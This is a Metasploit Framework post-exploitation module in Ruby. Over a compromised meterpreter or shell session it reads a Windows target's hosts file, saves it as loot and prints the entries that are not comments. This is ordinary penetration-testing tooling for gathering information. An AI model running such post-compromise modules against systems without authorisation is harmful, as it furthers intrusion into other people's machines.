##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Post

	def initialize(info={})
		super(update_info(info,
			'Name'          => 'Windows Gather Windows Host File Enumeration',
			'Description'   => %q{
				This module returns a list of entries in the target system's hosts file.
			},
			'License'       => BSD_LICENSE,
			'Author'        => [ 'vt <nick.freeman[at]security-assessment.com>'],
			'Version'       => '$Revision$',
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter', 'shell' ]
		))
	end

	def run
		# read in the hosts in the hosts file.
		fd = session.fs.file.new("C:\\WINDOWS\\System32\\drivers\\etc\\hosts", "rb")

		# Load up the original hosts file
		buf = ''
		until fd.eof?
			buf << fd.read
		end

		# Finished loading the hosts file, close fd
		fd.close

		# Store the original hosts file
		p = store_loot(
			'hosts.confige',
			'text/plain',
			session,
			buf,
			'hosts_file.txt',
			'Windows Hosts File'
		)

		# Split lines
		lines = buf.split("\n")

		# Print out each line that doesn't start w/ a comment
		entries = []
		lines.each do |line|
			next if line =~ /^[\r|\n|#]/
			entries << line
		end

		# Show results
		if not entries.empty?
			print_line("Found entries:")
			entries.each do |e|
				print_good(e.to_s)
			end
		end

		print_status("Hosts file saved: #{p.to_s}")
	end
end